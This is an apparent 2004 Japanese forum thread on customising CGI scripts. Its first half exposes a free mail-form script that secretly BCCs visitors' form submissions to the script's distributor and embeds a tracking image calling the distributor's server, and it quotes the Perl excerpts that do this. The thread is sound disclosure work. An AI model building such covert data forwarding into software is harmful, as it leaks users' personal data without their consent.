★三 【 スクリプト改造工房 PART 8 】 ★三
>>219 これって犯罪じゃないのか?
どこか目立つ板で祭りしようや。
祭り会場決まったら教えてね
>>219 これはヲチ板とかニュー速でも祭った方がいいんじゃね?
とりあえず証拠収集と解析をしようぜ。
まずはサイトを丸ごと保存して注意書きとかチェック。
他にも何か仕込まれていないか全スクリプトを落としてチェック。
--------------------------------------------------------------------
214 名前:名無しさん@どーでもいいことだが。 メェル:sage 投稿日:04/06/10 20:42 ID:KO2sUTHI
自分の理想にぴったりかなったID/PASS請求用の高機能フォームCGI(フリーウェア)を発見し、
いそいそとダウンロードして「さぁ編集だ〜!」と喜び勇んでエディタで開いたところ…。
なんとスクリプト本文の中に、
読者様から送ってもらうフォーム内容(なまものに対する情熱を熱く語って頂く項目あり)を、
スクリプト配布元のメールアドレスにもBCCで送信する構文が入ってて( ゚д゚)ポカーソ
しかもそれだけじゃなく、フォームのHTML内には
スクリプト配布元のリンク監視用(?)
アクセス解析GIF透明画像(もちろん相手のサイトを直接呼び出し)が埋め込まれた。
つまり、読者様の与り知らないところで自サイトフォームへのアクセスがCGIの配布元に記録され、
しかも大きな声ではとてもとても言えないような密やかな萌えをCGIの配布元にまで
コソーリ送信するような仕組みになっていたというわけだ。
(((( ;゚Д゚))ガクガクブルブル
気持ち悪いなんていう理由でそういった部分を削除するのは規約違反だし、
元々そういう違反関連にかなりうるさいサイトらしく、
本気で晒し上げもしかねないような雰囲気だったのでやむなく使用を断念。
規約を読んでダウンロードしたのは自分なわけだし
機能の充実した素晴らしいフリーウェアだから少々の制約は致し方ないとはいえ、
あまりにも卑劣というか姑息だなと思ったので…。
大切な読者様に迷惑かかるのは一番イクナイ!し…。
--------------------------------------------------------------------
個人+商用+メールフォームCGI+CSVデータ蓄積
でヤフ検索すると出てくる。
>>224 今保存ちう〜
> 個人情報の取り扱いについて
> ◆お客様の個人情報の取り扱いについて
> 弊社が収集した個人情報は、不適切な対応が行われないよう厳重に管理いたします。
> ◆お客様の個人情報の第三者への提供について
> お客様から提供を受けた個人情報は、お客様のご了承なしで第三者へ提供することはありません。
> 同様に、お客様のご了承なしで弊社の都合で勝手にDMを送付するといったこともありません。
> ◆スクリプトを不正に利用した方の個人情報の取り扱いについて
> 当サイト配布スクリプトを不正に利用していることが判明した方の個人情報に関しては、例外的に、ご本人様の承諾を得ることなく当サイトにて公開することがありますのでご了承下さい。
商用サイト向けに作られてるから
さぞ個人情報が集まった事だろうね。
法律に反してまで不正に個人情報収集キタ━━━━(゚∀゚)━━━━ッ!!
これ大問題だな
セキュリティー板にも誰か貼れよ
N速マダー
N速マダー
って実は立てようとしたんだけど、俺のホストでは立てられなかった。
簡単に祭りになるかと思ったのにどこでも静かだね。
【盗聴】web-up.cside.biz【個人情報詐取】
おいらも立てられないぞ。
>>230 スレ立て依頼スレがあるよ
テンプレ作って、投下しれ
232 :
230:04/06/11 23:21 ID:???
スレ起て規制中だからテンプレまで考えてなかった_| ̄|○スマソ
誰かヨロシク。
ヌー速はスレ保持数が極端に少なくなってるから
よっぽど捻ってスレ立てないと即落ちだぞ。
ヌー速でなくても、Web系の板にとりあえず立てたらどうか?
とりあえず、世のサイト管理人に知らせたいもんだ。
ヲチ板に立てるなら一応hは抜いておいたらどうだろう。
相手が既に気付いてるなら夜逃げ段階かもしれないけど。
241 :
nobodyさん:04/06/11 23:59 ID:zWex4Tqd
226nobodyさんsage04/06/11 22:31 ID:???
>>224 今保存ちう〜
> 個人情報の取り扱いについて
> ◆お客様の個人情報の取り扱いについて
> 弊社が収集した個人情報は、不適切な対応が行われないよう厳重に管理いたします。
> ◆お客様の個人情報の第三者への提供について
> お客様から提供を受けた個人情報は、お客様のご了承なしで第三者へ提供することはありません。
> 同様に、お客様のご了承なしで弊社の都合で勝手にDMを送付するといったこともありません。
> ◆スクリプトを不正に利用した方の個人情報の取り扱いについて
> 当サイト配布スクリプトを不正に利用していることが判明した方の個人情報に関しては、例外的に、ご本人様の承諾を得ることなく当サイトにて公開することがありますのでご了承下さい。
商用サイト向けに作られてるから
さぞ個人情報が集まった事だろうね。
227nobodyさんage04/06/11 22:34 ID:???法律に反してまで不正に個人情報収集キタ━━━━(゚∀゚)━━━━ッ!!
実は痛+のキャップ持ってたりして(w
>>247 だから怖かったりして(w
ってことで、mesh.ad.jp の人よろですー(w
(実は対策中@スレ立て規制ルーチン)
Web-UPへようこそ!
突然ですが、おめでとうございます!
あなたはオレオレ詐欺を成功させる為の絶好の機会に恵まれました!この機会に、ぜひあなたの常識が正しいかどうかを確かめてみて下さい。
さっそくですが、あなたの会社ではコンピュータやプログラムが出来る仕事を人間がやっているということはありませんか?それは本当に実在の人間でないと出来ない仕事ですか?
零細企業ほど業務のIT化・自動化を進めて、貴重な人的資源を有効に活用する必要があります。オレオレ詐欺運営業務のほとんどは、コンピュータに自動でやらせることが出来るのですから!
250 :
nobodyさん:04/06/12 01:34 ID:XcpBcCfn
251 :
nobodyさん:04/06/12 01:38 ID:S59QSIAd
キタ━━━━━━(゚∀゚)━━━━━━ !!
252 :
nobodyさん:04/06/12 01:38 ID:F7bl5wsk
キタ━━━━(゚∀゚)━━━━ッ!!
(`・ω・´)シャキーン
記念ぱぴぽ
ニュー速から来ました
c⌒っ*゚д゚)っφ 記念カキコ
おめでとう。勝利は目前だ。
祈念カキコ。
258 :
うんこぶりぶりまん:04/06/12 02:03 ID:2GlvRme6
祭りだ下記子
259 :
nobodyさん:04/06/12 02:11 ID:09i6j9GU
∩( ・ω・)∩祭りばんじゃーい
| ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄|
| 祭り? |
|________|
∧ ∧|| ω
(* ̄∀ ̄)(・|>
_|U_|//
\___ノ
...⊂ ̄U U ̄⊃
⊂__ジョー__⊃
ドンドド゙ッド、ドッドドッド、ドンドド゙ッド、ドッドドッド、
モリアガッテマイリマシター!!!!
∧ ∧ ,,──,−、 ♪
(,,゚Д゚) / (: :( ) ))
|つ/つ `ー─``ー'
〜| | ┣━━┫┨
U U ┠┤ ┣┫
264 :
nobodyさん:04/06/12 02:26 ID:wopb/Mb3
>なんとスクリプト本文の中に、
>読者様から送ってもらうフォーム内容を、
>スクリプト配布元のメールアドレスにもBCCで送信する構文が入ってて( ゚д゚)ポカーソ
>しかもそれだけじゃなく、フォームのHTML内には
>スクリプト配布元のリンク監視用(?)
>アクセス解析GIF透明画像(もちろん相手のサイトを直接呼び出し)が埋め込まれた。
>つまり、読者様の与り知らないところで自サイトフォームへのアクセスがCGIの配布元に記録され、
>しかも大きな声ではとてもとても言えないような密やかな萌えをCGIの配布元にまで
>コソーリ送信するような仕組みになっていたというわけだ。
>(((( ;゚Д゚))ガクガクブルブル
これでもわからない奴はry
265 :
nobodyさん:04/06/12 02:28 ID:ePpV/3zG
ν速から来たよ、
Website Explorerで落としてるんだけど重いなここのサイト。
該当部分のソースキボン
頭沸いてるんかコイツ
金に目がくらんでトチ狂って書いたってとこ?
>265
それはshtmlも落とせるのかな?
なんかshtmlだらけで満足に落とせないとどこかのスレで見たよ
一応これ置いときますね。
68 :名無しさん@ゴーゴーゴーゴー! :04/06/12 02:09 ID:/o6BW1Gu
Num-Mailしか見てないけど、メールが抜かれるのって
著作権表示を消した時と、一番最初にメール送信した時だけだよな?
$temp何とかってファイルを空にすればまた抜かれるけど
メールを送信するたびに抜かれるわけじゃないよな?
200人訪問中ということは、それだけ2ちゃんねらーがいるということですね
GETHTMLで落とした
>>271 つまりどのサイトでスクリプト使われてるか把握するためのものなのね
って全然言い訳にもならん。逮捕だ逮捕
>>274 それだけならいいが
スクリプト使って送信したメールがサクーシャにも送信
>>270 あ、それ自分だ。
うまく落とせてないから、他の人に頑張って貰いたいんだが…
落とすとき30分も解析にかかった。
277 :
274:04/06/12 02:52 ID:???
>>275 いや、だから一回目に送るメールってのは大概運営者だから
そのアドレスだけを抜き出そうという魂胆でそ
>>271読む限りでは
おれも今からソースみてみるけど
ソース公開してるんだから、責任はそんなものas isで使うことを
承諾して使ってるユーザーにあるんだろ
■免責事項
8. 本スクリプトの不正利用防止・設置状況把握を目的として、本スクリプトから設置先サーバーの情報を収集することがありますが、利用者はこれに同意したものとします。
補足
ついでに個人情報も収集します
光臨?
と煽っておく
> ■免責事項
> 8. 本スクリプトの不正利用防止・設置状況把握を目的として、
> 本スクリプトから設置先サーバーの情報を収集することがありますが、
> 利用者はこれに同意したものとします。
これはBCCで情報収集の言い訳として成り立つのか?というところだな。
該当部分
(1)
if($footer !~ /Web-UP/ or $ver !~ /Num-Mail v1.04/)
{ $bcc = '
[email protected]'; $bad = 1; }
(2)
if(!open(TEMP,"$temp_file")){ &error('一時ファイルが開けませんでした'); }
$TEMP = <TEMP>;
close(TEMP);
if($TEMP eq ''){
my $H = $ENV{'HTTP_HOST'};
my $S = $ENV{'SCRIPT_NAME'};
$PAGE = <<EOF;
<script type="text/javascript" language="JavaScript">
<!--
(略。IMG使ってアク解仕込んでる)
// -->
</script>
<noscript>
<img src="
http://web-up.cside.biz/cgi/use/ac.cgi?pg=$H$S" width=1 height=1 border=0>
</noscript>
EOF
$bcc = '
[email protected];'.$bcc;
}
#(2)は「送信ボタン2度押し検出」だそうだ
#「一時ファイル」に最後に送信したUAやホストを記録してる
ご丁寧に綺麗なソースでこんなことするとは
頭マジいかれてるな
>>281 法律違反行為ならそんなもん無効だわな。
>>285 WEBクリエイター3級
とかあるんだ。初耳。
せめてスクリプトタグの内容暗号化して盗聴用鯖も一見無関係のところにしておきゃよかったのに。
どっちにしても、すぐばれるだろうが。
document.write("<img src='
http://web-up.cside.biz/cgi/use/ac.cgi?");
document.write("pg="+pg+a+"pf="+pf+"lng="+lng+"swh="+swh+"cd="+cd+"pd="+pd+"rf="+rf);
document.write("' width=1 height=1 border=0>");
何やってんだ?
>>282 N速では(2)の処理は最初の一回だけって話になってるけどどうなの?
>>288 アクセス解析という噂
びっくりしますた
おい、もう材料ねえのか?
ヌー速もやる気なくなってるぞ
夜中だからな。明日またやろうぜ
>>291 やる気も何もさすがに時間が時間だし。
まだ明日以降あるでしょ。
明日またスレ立てれば桶
>>289 最初の1回目だけ。
$temp_fileを捨てると、また1度だけ送られる
最初の一回だけだから出歯亀送信してもいいとはいえないんだよな?
しかも今回は
“最初の一回だけ送信”דcgi設置した件数”
だよな
>>295 眠くてスクリプト見てないけど
そのtempは何?
>}else{
> &error('<b>スクリプト利用規約違反行為を検出しました</b><br><a href="mailto:
[email protected]">こちら</a>からご連絡下さい');
>}
( ´,_ゝ`)プッ
このcgiを利用したサイトが不正利用すると、関係ない第三者の個人情報も
web-upに送られるという極悪仕様らしいね
>>300 不正使用しなくても、一回目に情報が送られる。
>>301 一通目は普通管理人だから問題ないけど、(いや、あるけど)
二通目以降の本番使用での訪問者による送信でも、
サイト管理者が不正使用なら訪問者のメールも読まれてしまう
という意味でしょうが
303 :
295:04/06/12 03:55 ID:???
>>297 最後に送ったメールの送信者やら送信時刻やらを保存してるファイル。
送信ボタン2度押しによる2重送信を防ぐために、
1.$temp_fileに記録した時刻から5秒以内に
2.送信者アドレスとUAとホストが同じメールを送ろうとした
場合には、2通目を送らないようにする。
このファイルが空白の場合に、BCCに余計なアドレスが追加される。
この程度のスクリプト、どこに有料にするほどの機能があろうか
入力必須項目をいくつでも設定できます。
入力内容が同一でないとエラーとする項目をいくつでも設定できます。
半角数字のみ入力許可とする項目、半角英数字のみ入力許可とする項目をいくつでも設定できます。
7桁郵便番号(ハイフン付き)の書式チェックをする項目をいくつでも設定できます。
カタカナと空白のみを入力許可とする項目をいくつでも設定できます。
加入電話番号(ハイフン付き)の書式チェックをする項目をいくつでも設定できます。
携帯電話番号(ハイフン付き)の書式チェックをする項目をいくつでも設定できます。
その他の電話番号(ハイフン付き)の書式チェックをする項目をいくつでも設定できます。
日付の書式チェックをする項目をいくつでも設定できます。
日付の書式チェックをする項目に存在しない日付が入力された場合エラーとなります(うるう年にも対応)。
入力禁止とする項目をいくつでも設定できますので、フリーメールアドレスからの送信などを事前に防止できます。
メールアドレス・ホームページアドレスを正規表現を使って厳密に書式チェックします。これにより、せっかくメールを送ってくれた送信者の方が運悪くメールアドレスを間違って記入してしまい連絡が取れなくなるというトラブルを大幅に減らすことができます。
( ´,_ゝ`)プッ
要するに
・入力情報チェック機能
だろが
patch.cgi
#!/usr/bin/perl
open(HI,"<hi-mail.cgi");
@data=<HI>;
close(HI);
foreach (@data){ s/web-up.cside.biz/unko/; }
open(HI,">hi-mail.cgi");
print HI @data;
close(HI);
ここにpatch.cgi置いときますね
◆スクリプトを不正に利用した方の個人情報の取り扱いについて
当サイト配布スクリプトを不正に利用していることが判明した方の個人情報に関しては、例外的に、ご本人様の承諾を得ることなく当サイトにて公開することがありますのでご了承下さい。
フォームを設置して最初にテストするときは自分の個人情報入れちゃうことが多いからな
それを押さえておけば、例外的に公開することも可能だわな
いずれにせよ、不正利用とメール盗聴じゃ過失相殺してもメール盗聴のほうが罪が重いぜよ。
必死だな(藁
313 :
nobodyさん:04/06/12 05:33 ID:/fieIMmV
謝罪キタ─wwヘ√レvv〜(゚∀゚)─wwヘ√レvv〜─ !!!
謝罪?今迄集めた情報は如何なされたのかのう・・・
謝罪っつーかただの予防線だろ
2ちゃんねるへようこそ!
突然ですが、おめでとうございます!
↓
あんたそんなこといきなりいわれてもうわこらなにおする
318 :
nobodyさん:04/06/12 08:01 ID:52DXtjEo
この作者完全に2チャンネル見てるな
神田代砲とレーザービーム田代撃ち込んでくるか
320 :
nobodyさん:04/06/12 10:01 ID:8dH8rMjw
ν速から記念かき
ageんなヴォケが
ageなきゃ現実に
ヴォケんなhageが
証拠を取っておいたやつは消さずに残しといてくれよ。
326 :
owl ◆OwldoPiCSY :04/06/12 15:28 ID:DNW7e13+
((゚v゚ ) )<N速カラキマスタ!
((::...(::ヽ
_ ゝゞ^ヽ
( = ´´  ̄(◎)
 ̄ ̄| l| ̄ ̄
.|. il|
""""""""""""""""""""""""""""""""
こういうことをするから著作権表示からリンクをはずしたくなるんだ。
329 :
nobodyさん:04/06/13 00:11 ID:JEhoRN3u
おめでとうございます!おめでとうございます!おめでとうございます!
330 :
201:04/06/13 09:14 ID:???
>>202 ご教示有難う御座います。
教えていただいたとおりにやったらID機能を付けることができました。
編集時などに元の名前を表示させたりするのがちょっと大変でしたが…
ありがとうございました。
331 :
nobodyさん:04/06/14 20:40 ID:cBqzTbji
犯罪告知があれば犯罪が犯罪でなくなるとでも?
多苦墓は言い訳厨でした。
スクリプトを使わないでそっと潰れるのを待ちましょう。
336 :
nobodyさん:04/06/15 10:13 ID:KpErTJMW
スレ違いだったらごめんなさい
アップロード機能+一言板を使って、別の場所にいる人間とファイルをブラウザ上で確認し、
JPEG,GIF,EPS(イラレ)の画像データのやりとりを考えています。
KET-WEBのClipBoardを改造して頑張ってはいるのですが…
EPSファイルをアップしてブラウザ上に表示させる事が出来ません。
自力でEPSファイルを添付ファイルとしてアップさせる事は出来ましたが…
どなたかお知恵をお願いしますm(__)m
337 :
336:04/06/15 11:12 ID:KpErTJMW
338 :
nobodyさん:04/06/15 18:28 ID:dQxW4G/W
スレタイくらい読もうね
バイバイ
341 :
337:04/06/16 10:27 ID:T1Uh59ql
342 :
nobodyさん:04/06/16 11:41 ID:BaSzqMZ7
>>341 EPSをJPGに変換してからアップすればいい。
343 :
341:04/06/16 12:11 ID:T1Uh59ql
>>342 レスありがとうございます。
EPSファイル自体のやりとりをしたいので、JPG変換してからのアップではダメなんです…
別の場所にいる人間にブラウザ上で確認してもらい、ダウンロードをしてもらう、という形をとりたいので。
表示だけが上手く行かないんですよね…
>>343 EPSのままやり取りするならブラウザでの表示は無理。
345 :
343:04/06/16 14:58 ID:T1Uh59ql
>>344 レスありがとうですm(__)m
やはり無理ですか…
別スレでブラウザの問題と言われ、色々検索してはみたのですが…
では、EPSをアップするとJPGに変換させた状態でブラウザに表示させ、
ダウンロード時はEPSと言う事は出来るのでしょうか?
むりかな?やはり(^^;
346 :
nobodyさん:04/06/16 16:24 ID:BaSzqMZ7
>>345 EPS内にプレビュー用のTIFFデータがあれば表示させることは不可能ではないと思う。
あとImageMagic使うとか。
俺はめんどくさいのでやらないけど。
>>345 できないことはないが、epsデータに日本語の文字が含まれている場合には
きびしいんじゃないかな。
>>345 自社鯖があるんならそっちでやった方がよろしいかと。要ImageMagik + GhostScript
349 :
345:04/06/16 18:49 ID:T1Uh59ql
皆様ありがとうございますm(__)m
>>346 >>348 ImageMagickですか。自社鯖には多分入ってないので、入れなきゃですね。
入れられるんだろうか…てか入れていいんだろうか;-_-)
入れていいよーとかは言われそうですが、
ぶっちゃけ、ImageMagick使った書き方分からんかも…
別スクリプト拾って来て改造した方が早いカモですな…
>>347 >epsデータに日本語の文字が含まれている場合にはきびしいんじゃないかな
そうなんですか?
全然知らなかったです;-_-)
350 :
nobodyさん:04/06/20 12:20 ID:jxC3gCGk
質問させて下さい。
ttp://acapulco.dyndns.org/pukiwiki/pukiwiki.php?C-SEARCH で配布されている、C-SEARCHというスクリプトについてなのですが、
UTF-8で記述したページに設置したフォームから、文字化けしないように
URIを出力するにはどうすれば良いでしょうか?
Jcode.pmを使って、各サーチエンジン向けに文字コードを変換すれば
良いのではないか─というところまでは分かった(気がしている)のですが、
どこにその処理を挟めば良いか分からずにつまづいています。
どなたか、何卒よろしくお願いします。
考えただけで試すつもりがないのなら、丸投げへ。
352 :
nobodyさん:04/06/20 14:55 ID:jcnTgKd4
質問です。
yychatを設置しているのですが、
すごい長い名前で荒らされます。
名前の文字数を制限することはできないのでしょうか?
なにか方法があればご伝授下さい。
どうかお願い致します。
355 :
nobodyさん:04/06/20 19:55 ID:T6DkXt0i
>>353 すみません、ちゃんとスレの趣旨を確認していませんでした・・・。
よろしくお願いします。
【.CGI名.】Nicky!
【配布先URL】
http://www.din.or.jp/~raelian/ReadMeNicky.html 【ヘルプ内容】
記事を入力後作成されるHTMLファイルの形式を変えたいと思います。
@タイトルのところが「記事入力の年月日・時間→タイトル」となっている
のですが、これを逆「タイトル→年月日・時間」に変えたいと思います。
何行目だったか、出力が記述されているっぽいところを逆にしたところ
CGI自体が動かなくなってしまいました。
A記事本体の少し下にRESをつけるための枠が入るのですが、この枠を
もう少し記事本体に近づけたいと思いますが、どこをいじればいいのか
見つけられませんでした。
ということで2点、教えていただけないでしょうか?
>>356 機種依存文字を使うな。
その1 ユーザーカスタマイズモードを参照のこと
http://www.din.or.jp/~raelian/UserCustom.html その2 ユーザーカスタマイズモードで記入する、最後の</td></tr></table>を削除。
んで、nicky.cgiの
print "<table border=\"0\" width=$NickyWidth bgcolor=\"$CommentFlColor\">\n";
print "<tr><td>";
を削除かコメントアウト
あと利用規定で
> 5. スクリプトを修正される方へ
> 修正したスクリプトをご利用する際には、修正した旨をわかりやすく表示してください。
とあるから、表示しる。
358 :
356:04/06/27 19:27 ID:???
>>357 1:やはりユーザーカスタマイズモードしかないですかねぇ。
なぜかうちでは説明書どおりにやってもカスタマイズモードに
入れなかったのでCGIの改造で何とかならないか・・・と
思っていました。
2:これもカスタマイズモードに入れるようになったらやってみます。
どうもでした。
いまだに@を機種依存文字とか言ってる香具師痛すぎ
知恵を貸していただけると幸いです。
【.CGI名.】unico diary system
【配布先URL】
http://www.azworks.org/ 【ヘルプ内容】日記投稿時に画像ファイルをアップしたいと思っております。
とりあえず、書き込み・修正をするFORM内にtype="file"のインプットタグを追加し、
<FORM>タグにもENCTYPE="multipart/form-data"を追記してみました。
が、enctypeを追記したら書き込みすら行われなくなってしまいました。
私が思うにフォームからのデータがまともに受け取られなくなってしまった
からだとおもっているのですが、どうしたらいいのでしょうか。
また、ファイルをアップロードする部分にはまったく手をつけていないのですが、
方法などご教授いただければ幸いです。
>>360 手を加えたのは「HTMLソースだけ」に50ペセタ。
KヨNTに毛が生えたようなソースは読みにくい。
unico なんて名乗ってて恥ずかしくないのか?
364 :
360:04/07/01 10:53 ID:???
>>360 multipart/form-dataがどういう形式でデータを送ってるのか調べろ。
parseの方法がまったく違うからそのままでエラーが出るのは当たり前。
KENTもmultipart/form-dataのparseにはcgi-lib.plを使ってる。
366 :
360:04/07/01 18:31 ID:???
>>365 レスありがとうございます。
もうちょっと詳しく調べてみます。
367 :
360:04/07/02 18:13 ID:???
>>360 なぜテキストファイルでUPしないの?
ただでさえ見難いスクリプトが、インデントが無いせいでさらに見難くなってる。
【.CGI名.】ChaBo
【配布先URL】
http://www.kemokemo.com/ 【ヘルプ内容】
この一行掲示板は、
07/10 10:00 名前 : 本文
この様に、投稿した時刻が自動的に挿入されるのですが、
名前と本文は、自動挿入される時刻よりフォントサイズが1つ大きいのです。
そこで、名前と本文のフォントサイズを、時刻と同じ大きさにしたいのですが、
何処にどういうスクリプトを書けば良いのか全く分からず困っています。。
どうか宜しくお願いします。
>>369 よく見れ。
cssファイルをいじるだけだろ。
>>370 あり?css?俺が見てるスクリプトだと、
602: $mesbuff .= "<SMALL>($timestamp)</SMALL> <B>[$name]</B> ";
# 名前と本文がデカいんじゃなくて、時刻が小さい。
なんだけど…。間違えて別のを落としてないか確認してくる(泣)。
# 合ってた。鬱。
>>369 602行め辺りをぐりぐりする。
373 :
369:04/07/11 02:05 ID:???
レス有難う御座います。
おかげ様で、名前と本文を時刻と同じサイズに出来たのですが、
実際に小さくしてみると、想像していた物とは少し・・(´Д`)
デフォルトサイズより小さく、<SMALL>指定より大きい、そんなサイズにしたいのですが、
SMALL以外にサイズ指定の関数にはどんな物が有りますか?
すみませんが、宜しくお願い致しますm(_ _)m
>>373 なんでぇ、バージョン違いかよ。
【. CGI名 .】 複数のバージョンがある場合には正確に (必須)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
【配布先URL】 教えてくれる人が参照する場合があるので (必須)
【. 置き場所 .】 配布先が閉鎖の場合、すぐ見られるようtxtなどで
upした場合、 デザインをhtmlで作成した場合など (任意)
【ヘルプ内容】 どのように改造したくてどのようにうまくできないか (必須)
機能・動作などを簡潔かつ詳細に
関数?
おまいはHTMLもわからんのか?
板違いだからWeb制作板で勉強してから出直せ。
>>375 502 Bad Gateway
鯖がケッタイを弾いているだけなのではないかい?
>>377 line:603
print " <td align=center nowrap><b>場 所</b></td>\n";
>>378 サンクス
スペースがあったから検索に引っかからなかった…
っていうかちゃんとスクリプト読むべきだと反省しました
http://www.japu.org/tmp/aska211+cap.zip ですが、これはaskaBBSにキャップ機能(上のは「名前★」ではなく「"名前"」というキャップ)
を付けたものですが、今の状態だと登録された名前とメール欄のパスをそれぞれ入力しないと
キャップが出ないのですが、それを2ちゃんねると同じようにメール欄の
パスのみで「名前★」が出るように改造していただけないでしょうか。
よろしくお願いします。
○投げに投げたら?
以前改造していただいたcgiに不具合が見つかったのですが、それを修正してもらうことは可能でしょうか?
>>383 このスレの性質をよく理解されているのならどうぞ。
385 :
nobodyさん:04/08/02 02:17 ID:j14ATa2k
386 :
385:04/08/02 04:19 ID:j14ATa2k
User Agent に加えてリモートホスト情報も加えたいです。お願いいたします
【スクリプト名】
メッセージアンケート(KENT-WEB)
【CGIソース】
ttp://kish.s60.xrea.com/msgenq.txt 【改造したい内容】
以前丸投げスレで改造してもらったものなのですが、不具合が見つかりました。
KENT-WEBのメッセージアンケートにレスを付けられるようにしていただけたのですが、
レスをする前に他の人がレスをして、それが上がってしまうと順番が変わり、
レスをする場所がめちゃくちゃになってしまう、という不具合でだいぶ困っています。
言葉で説明するのが大変難しいのですが、簡単に言いますと、
自分がレスしようとしたところに必ずレスできるようにしたい、ということです。
あとできればレスに番号を付けたいと思っています。
よろしくお願いします。
388 :
387:04/08/03 14:59 ID:DZnGogL/
ageさせていただきます
>>385 PHPが作れて何故出来ない?
著作権を削ってる様な人間にサポートはないと思え。
回線切って逝ってよし
391 :
nobodyさん:04/08/05 14:22 ID:qK3P86ts
>>360 そこのBBSは問題あるな。
%formから受取ったものをそのままファイルに書き込んでる
393 :
nobodyさん:04/08/07 16:26 ID:lGP8f5JH
じゃあ至るところのheadに入れたり入れなかったりして試せよ
395 :
547:04/08/09 10:40 ID:huEHQGdL
改造中のソースを晒してくれ
398 :
547:04/08/09 11:17 ID:huEHQGdL
詳細ページを作る。
それを表示するクエリーストリングを決める。
そのクエリーストリングを受け取ったら表示させる。
そんだけ。
400 :
547:04/08/09 13:00 ID:huEHQGdL
クエリーストリングですか?
できればわかりやすくお願いしたいのですが・・
>>400 クエリーストリング以前にお前は詳細ページを表示するHTML部分を作ったか?
402 :
547:04/08/09 13:30 ID:huEHQGdL
詳細を表示させるHTML部分は作成しました。
じゃ、クエリーストリング…
cgi?以降のことだが…
これに使うのを決める。
例えば、cgi?view=商品ナンバー
商品ナンバーはdata[1]かな?
これを<a href= (ry に書いておけ
で、ここからが肝要
クエリーストリングを受け取ったら、お前が作った詳細を表示させるHTML部分…
サブルーチンにしてあるならそのサブルーチンを呼び出して表示する。
404 :
nobodyさん:04/08/09 14:58 ID:lYQyr6Nk
すみません。
「amigo database」みたいな汎用データベースを
「php+mysql」で使えるようなスクリプトってありますか?
ご教示願います。
405 :
547:04/08/09 16:21 ID:huEHQGdL
>クエリーストリングを受け取ったら、お前が作った詳細を表示させるHTML部分…
>サブルーチンにしてあるならそのサブルーチンを呼び出して表示する。
のところが分からないのですが・・・
おそらくサブルーチンは
sub seek{
だと思うのでそれを呼び出す
&seek
すみませんこれまでしか分かりません。
>>547 ん?
sub seekは検索にHITした物の一覧を表示するサブルーチンだろ?
その一覧に詳細表示させるリンクを作りたいと言うのがおまいのやりたい事だろ?
お前が作った詳細を表示させるHTMLはどこだ?
407 :
547:04/08/09 21:51 ID:O8/Ygb0m
ん?
もしかして同じcgiの中に
sub syou{
$print .=<<HTML;
<!-- 詳細表示 -->
<td width="17%" bgcolor="#FFFFFF"> <p>名前</p></td>
<td width="83%" bgcolor="#FFFFFF">$data[1]</td>
HTML
}
&syou
見たいな感じで記述するんでしょうか?
この場合&syouで詳細を表示させるってことですか?
いまいち分からんです・・
408 :
547:04/08/09 21:52 ID:O8/Ygb0m
ん?
もしかして同じcgiの中に
sub syou{
$print .=<<HTML;
<!-- 詳細表示 -->
<td width="17%" bgcolor="#FFFFFF"> <p>名前</p></td>
<td width="83%" bgcolor="#FFFFFF">$data[1]</td>
HTML
}
&syou
見たいな感じで記述するんでしょうか?
この場合&syouで詳細を表示させるってことですか?
いまいち分からんです・・
409 :
547:04/08/09 22:19 ID:O8/Ygb0m
すみません2回投稿してしまった
411 :
547:04/08/10 10:12 ID:9CP1J+UA
単発質問なんですけど
KENT WEBのYY-BOARDで半角カナ使うと文字化けするんですけど
どうすれば半角カナ文字化けしなくなりますか?
>>411 まず、オリジナルにあるsub footがないのでエラーが出てる。
&syouのあとにセミコロンがないのでエラーが出てる。
だいたいが&syou;の位置がぜんぜん違う。
もうちょっとがんばれ。
>>415 神気取りのあいつの尻拭いをしたいヤシなどいない。
お前も悪い事したと反省しる!
小出しの依頼をしたことをな。
418 :
415:04/08/11 06:26 ID:???
>>417 以前依頼したときも気になったんですが、小出しだけでなく追加依頼も禁止したほうが良いと思います。
私はあのとき小出しにしたつもりはなく、改造していただいたCGIを使用して初めて、ageの機能もあったほうがいいな…と思ったのです。
追加依頼も禁止ならば、そう明記してあったほうがより良いと思います。
ただ、頼む側は追加依頼という気持ちでも、頼まれる側は小出しに見えてしまいますから、前回そういう形になってしまったことは謝ります。
すみませんでした。
419 :
547:04/08/11 10:25 ID:KDJbSiLZ
>>418 (゚Д゚)ハァ?
追加依頼 = 小出し だろ!
もう来るな!!
421 :
418:04/08/11 17:25 ID:???
>>420 その通りですね。本当にすみませんでした。
423 :
547:04/08/11 21:05 ID:AZrnpxJ0
うわぁ
ありがとうございますー。
んで早速アップーと思ったら
The server encountered an internal error or misconfiguration and was unable to complete your request.
と表示が・・・
調べてみたらCGI スクリプト内の問題が原因みたいなんですが
見たところで全然わかるはずもなく。。
ほんと申し訳ないですがもうちょっとだけ教えて
いただけないでしょうか?
424 :
547:04/08/11 21:11 ID:AZrnpxJ0
って
デキタ━━━━(゚∀゚)━━━━!!
名前をつけて保存でなくて
そのままコピー&ペーストで貼り付けてやったら
できました!!
ありがとうございましたー。
>422のエライ人ありがとうでした。
427 :
547:04/08/13 13:07 ID:X3c1TvpR
>>426 まだいましたー。
何度もありがとうございます。
UPして確認したいですが今サーバーが落ちてるみたいなので
確認できません。。
でもソース見る限りでは説明文が入ったりして
すごくありがたいです。。
今そのソースを新規にウインドウを立ち上げるのではなく
同一ページ?に開くようにしてるのですが。
むずかしいですねー。
とりあえず新しいページを出さないようにするには
"javascript:void(0)" onClick="window.open
のとこをを削ればいいみたいなのはわかりました。
これからもうちょっと改造していきたいと思ってます。
クリックしてきましたー。
とりあえず毎日クリックしてお礼の代わりとさせていただきますので。
またなにかあったらよろしくお願いします。。
428 :
412:04/08/13 17:11 ID:???
文字コードをEUCにするってのはheaderの部分のcharsetをEUC-JPにするって事ですか?
それともEUCで保存するって事ですか?
両方やってみましたがこれをやると文字が全部文字化けしちゃいます
430 :
nobodyさん:04/08/14 02:28 ID:YM4iJTAR
431 :
nobodyさん:04/08/15 00:51 ID:ThpZR4Ya
C-BOARDで、投稿画面に追加したセレクトボックスの
投稿データチェック(未選択不可)を行いたいのですが、
どうすればいいのですか?
下記のところに、新しく追加したら大丈夫だと思うのですが..
チェックの仕方がわかりません。
#── メールアドレスをチェック
length($::FORM{'email'})
&& ($::FORM{'email'} !~ /^[!-?A-~]+@[!-?A-~]+\.[!-?A-~]+$/)
&& push(@error, 'メールアドレスが不正です。');
#── パスワードをチェック
($::FORM{'key'} =~ /[<>&"]/)
&& &::error(\('パスワードに「<, >, &, "」は'
. '使えません。'));
コピペかよ・・・
